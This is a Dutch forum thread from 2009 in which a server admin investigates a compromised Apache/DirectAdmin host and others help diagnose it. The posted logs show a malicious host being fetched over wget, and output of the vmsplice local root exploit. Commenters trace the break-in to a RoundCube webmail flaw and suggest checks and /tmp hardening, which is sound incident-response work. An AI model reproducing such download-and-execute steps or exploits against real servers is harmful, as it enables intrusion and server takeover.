Vreemde log entry apache

[Megamind]

Ik kreeg vanacht een melding dat 1 van de servers gestopt was.

Apache was daar op gestopt, dus ik probeerde weer te starten, geen toegang, port 80 al in gebruik.

ps aux apache

root     10903  0.0  0.0  5196  672 pts/0    R+   10:33   0:00 grep apache
apache   17353 46.7  0.1  9020 3016 ?        R    Feb19 462:22 /usr/sbin/apache/log
apache   17355 46.7  0.1  8828 3020 ?        R    Feb19 462:22 /usr/sbin/apache/log

Apache? De server start normaal als httpd...

Als ik check wie port 80 gebruikt:

netstat -ltnp | grep :80
tcp        0      0 :::80                       :::*                        LISTEN      17353/log 

Log?

Dus ik keek in top
Stonden er 2 processen dik te stampen, PERL.

Maar aangezien het een prive server is hoort er geen rare content op te staan, er stonden dus ook geen perl scripts.

Er staat wel Direct Admin op, dus het kan een script van DA zijn.

Maar toen ik in de apache log keek:

[Fri Feb 20 00:10:05 2009] [notice] Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.7a DAV/2 PHP/5.2.5
 configured -- resuming normal operations
[Fri Feb 20 00:11:01 2009] [notice] caught SIGTERM, shutting down
cat: /tmp/lol: No such file or directory
cat: /tmp/lol: No such file or directory
--07:24:22--  http://naughtyvibez.at/nou
           => `nou'
Resolving naughtyvibez.at... 84.16.255.129
Connecting to naughtyvibez.at|84.16.255.129|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,920 (11K) [text/plain]

    0K ..........                                            100%  150.93 MB/s

07:24:22 (150.93 MB/s) - `nou' saved [10920/10920]

--07:24:22--  http://naughtyvibez.at/nou
           => `nou.2'
Resolving naughtyvibez.at... 84.16.255.129
Connecting to naughtyvibez.at|84.16.255.129|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,920 (11K) [text/plain]

    0K ..........                                            100%    1.38 MB/s

07:24:23 (1.38 MB/s) - `nou.2' saved [10920/10920]

Maar de server stond uit tot nu, wat zijn die laatste log entries?

Googlen levert maar 1 resultaat op van een vreemde website.

Het bestand nou.2 kan ik nergens vinden op de server, dus ik neem aan dat het niet gelukt is...

Wat kan dit zijn?

[GraveR]

Lijkt me misse boel.

Die 'nou' is een Linux virus/trojan. Source: http://www.milw0rm.com/exploits/5092

Uit die file:

code:

/bin/bash
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz

Apache _kan_ als httpd draaien, afhankelijk van het gebruikte os.

[ Voor 8% gewijzigd door GraveR op 20-02-2009 11:06 ]

[MiStErMaNiAc]

Anders even rkhunter draaien

[Verwijderd]

Megamind schreef op vrijdag 20 februari 2009 @ 11:00:
Het bestand nou.2 kan ik nergens vinden op de server, dus ik neem aan dat het niet gelukt is...

Ga daar maar niet vanuit. Het is heel goed mogelijk dat het bestand is gedownload, executable gemaakt, gestart en verwijderd. Het kan dus prima zijn dat er nog een proces draait.

Ik kan je wel vertellen dat /usr/bin/apache/log een beetje een vreemde naam/locatie is voor een binary.

Doe eens:

ps aux | grep ^apache | awk '{print $2}' | while read pid; do ls -ald /proc/$pid/exe; done

Nu heb je alle locaties van de executables van de binaries die die processen hebben gestart.

[r0b]

Megamind schreef op vrijdag 20 februari 2009 @ 11:00:
Ik kreeg vanacht een melding dat 1 van de servers gestopt was.

Ah; herkenbaar. Nu ik het zo zie had ik inderdaad exact hetzelfde.
Ik zocht er eerst niet teveel achter; handmatig de processen gekilled en httpd gestart, ik ging het later wel uitzoeken.
Één dag later was ik 80Gb traffic verder; o.a. voor malware / DoS en nog wat meuk.

Ik heb nu weer een frisse installatie en heb de oude nog in een tarretje thuis staan, maar het was inderdaad foute boel dus ..

[Verwijderd]

Zolang het slechts de apache user betreft, kun je er vrij zeker van zijn dat er "gewoon" een Joomla site met wat gare plugins lek was.

[DiedX]

Klinkt als een brakke website. Ik zou (tenzij Apache opeens als root draait ) niet in de stress schieten, en kijken welke website zijn patches gemist heeft.

[Megamind]

Hm even gescanned met rkhunter, deze heeft niks gevonden.
Zie:
http://www.versluis.ca/log.txt

Het is niet de eerste keer dat DA de server afsloot en daarna hij niet meer op wilde komen.

Maar hoe kan ik uitvinden wie dat process apache dan start? Want DA start apache als HTTPD.

Ik zal volgende keer LSOF op dat PERL process draaien, deze hield namelijk port 80 bezet. Dan kan ik teminste zien welk bestand dat is.

[ Voor 19% gewijzigd door Megamind op 20-02-2009 11:30 ]

[Verwijderd]

DiedX schreef op vrijdag 20 februari 2009 @ 11:22:
Klinkt als een brakke website. Ik zou (tenzij Apache opeens als root draait ) niet in de stress schieten, en kijken welke website zijn patches gemist heeft.

En niet in de stress schieten als er één proces als root draait. Als je kunt nagaan dat dat de correcte binary is, klopt dat gewoon. Het hoofdproces kan children spawnen als dat nodig is

[DiedX]

Verwijderd schreef op vrijdag 20 februari 2009 @ 11:27:
[...]

En niet in de stress schieten als er één proces als root draait. Als je kunt nagaan dat dat de correcte binary is, klopt dat gewoon. Het hoofdproces kan children spawnen als dat nodig is

I stand corrected

De reden waarom DA waarschijnlijk afsterft is dat hij Apache probeert te restarten, maar die sterf niet lekker. Die Perl-processen (hoogstwaarschijnlijk shelletjes of IRC-Botjes) draaien ook als Apache, en luisteren niet naar "Sterf!"

[Verwijderd]

Heren,

Dit wordt veroorzaakt door een lek in de roundcube webmail die door directadmin wordt geinstalleerd, zie
http://www.directadmin.co...29240&highlight=roundcube voor meer informatie.

[Megamind]

Hm netjes Ik heb die update er op gezet, hopelijk is het nu beter.

[r0b]

Megamind schreef op zaterdag 21 februari 2009 @ 15:35:
Hm netjes Ik heb die update er op gezet, hopelijk is het nu beter.

Check ook even je /tmp dir en kijk of /tmp/... (3x .) bestaat; hier lijkt alles opgeslagen te worden.

[Megamind]

r0b schreef op zaterdag 21 februari 2009 @ 18:17:
[...]

Check ook even je /tmp dir en kijk of /tmp/... (3x .) bestaat; hier lijkt alles opgeslagen te worden.

Hm ja je hebt gelijk, daar staat nou met exec rechten..

Er staat zelfs een bestand lol.txt:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f61000 .. 0xb7f93000
[-] vmsplice: Function not implemented

Vreemd dat rkhunter er alleen niets van ziet...

[lordgandalf]

Ik heb dit probleem ook.
Maar dit is dus zoals ik lees een probleem door roundcube ??

[X-DraGoN]

Ik vind ook heel veel loggings terug van mijn apache die gescanned word op zoek naar RoundCube email.

code:

[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] Invalid URI in request GET HTTP/1.1 HTTP/1.1
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/program
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/mail
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/email
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/webmail
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/roundcube
[Mon Feb 09 15:42:03 2009] [error] [client 91.121.171.163] File does not exist: /var/www/roundcubemail
[Mon Feb 09 15:42:04 2009] [error] [client 91.121.171.163] File does not exist: /var/www/rc

Gelukkig draai ik helemaal geen Roundcube dus heb ik er verder geen last van. Wel even mee oppassen dus!

[r0b]

lordgandalf schreef op zaterdag 21 februari 2009 @ 21:41:
Ik heb dit probleem ook.
Maar dit is dus zoals ik lees een probleem door roundcube ??

html2text.php in de 0.2beta release van RoundCube, als ik het goed heb. Alhoewel er ook gewaarschuwd wordt voor 0.1stable, maar daar kan ik niks van terugvinden.

Paar checks:
lsof -nP | grep :80 && lsof -nP | grep :6667
Check je /tmp
Check of /tmp/... (3x .) bestaat (cd /tmp/... )

Geen 100% zekerheid, maar als dat er allemaal clean uit ziet kan je waarschijnlijk nog gewoon roundcube offline halen en verder gaan.

http://www.securiteam.com/unixfocus/6L00O15NFS.html
https://isc.sans.org/diary.html?storyid=5560
http://isc.sans.org/diary.html?storyid=5599
http://zastita.com/016449...bilities-fri-jan-9th.html

Megamind: heb je de box al gedisconnect? Bij mij ging het vrij vlot en was er in 2 dagen al 80Gb doorheen.

[ Voor 15% gewijzigd door r0b op 22-02-2009 11:42 ]

[sparks]

Jaren geleden ook wel eens gehad, wat je ook kunt doen om het risico te verminderen is dat je /tmp met de no_exec optie mount, dan mogen in elk geval er geen executables meer vanaf gestart worden.

[Verwijderd]

sparks schreef op zondag 22 februari 2009 @ 11:25:
Jaren geleden ook wel eens gehad, wat je ook kunt doen om het risico te verminderen is dat je /tmp met de no_exec optie mount, dan mogen in elk geval er geen executables meer vanaf gestart worden.

Dit geldt eigenlijk altijd. Ook als je géén aparte /tmp partitie hebt, kun je een file aanmaken en die als /tmp mounten. Ten eerste kan dan niet de hele harddisk vollopen met tijdelijke bestanden (kan voordeel zijn of nadeel) maar het belangrijkste is dat er inderdaad geen binaries kunnen worden gestart. Maar let wel: scripts kunnen nog wel worden gestart via bijvoorbeeld /usr/bin/perl /tmp/spef

[Eijkb]

En het zijn dus vaak perl scripts e.d., niet zozeer executables die in je /tmp gestored worden. Let daar dus op in verband met schijnveiligheid.

[Megamind]

r0b schreef op zondag 22 februari 2009 @ 11:21:
[...]
Megamind: heb je de box al gedisconnect? Bij mij ging het vrij vlot en was er in 2 dagen al 80Gb doorheen.

Nee heb hem niet offline, het is niet mijn eigen server, maar ik ben de enige die meer dan alleen top kent

Als ik
lsof -nP | grep :80 && lsof -nP | grep :6667
doe dan krijg ik wel een aardig lijstje, maar alleen port 80.

Ik heb de logs gescanned, raar genoeg staat er 0x iets over roundcube in.